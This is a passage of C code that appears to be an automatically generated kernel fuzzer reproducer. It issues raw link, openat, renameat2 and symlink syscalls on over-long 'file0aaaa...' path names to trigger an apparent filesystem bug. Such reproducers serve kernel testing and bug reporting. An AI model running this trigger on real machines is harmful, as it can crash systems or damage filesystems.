"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\000",
253);
syscall(__NR_link, /*old=*/0x20000940ul, /*new=*/0x20000d40ul);
memcpy((void*)0x20001240, "./file0\000", 8);
memcpy((void*)0x20000bc0,
"./"
"file0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\000",
257);
syscall(__NR_link, /*old=*/0x20001240ul, /*new=*/0x20000bc0ul);
memcpy((void*)0x20000200, "./bus\000", 6);
syscall(__NR_openat, /*fd=*/0xffffff9c, /*file=*/0x20000200ul,
/*flags=O_NONBLOCK|O_NOCTTY|O_NOATIME|O_CREAT|O_RDWR*/ 0x40942ul,
/*mode=*/0ul);
memcpy((void*)0x20000000, ".\000", 2);
res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000000ul,
/*flags=*/0ul, /*mode=*/0ul);
if (res != -1)
r[0] = res;
memcpy((void*)0x20000380, "./bus\000", 6);
memcpy((void*)0x20000400, "./file1\000", 8);
syscall(__NR_renameat2, /*oldfd=*/r[0], /*old=*/0x20000380ul, /*newfd=*/r[0],
/*new=*/0x20000400ul, /*flags=*/0ul);
memcpy((void*)0x20001640,
"./"
"file0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/../file0\000",
260);
memcpy((void*)0x20000e40,
"./"
"file0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\000",
251);
syscall(__NR_symlink, /*old=*/0x20001640ul, /*new=*/0x20000e40ul);
return 0;
}
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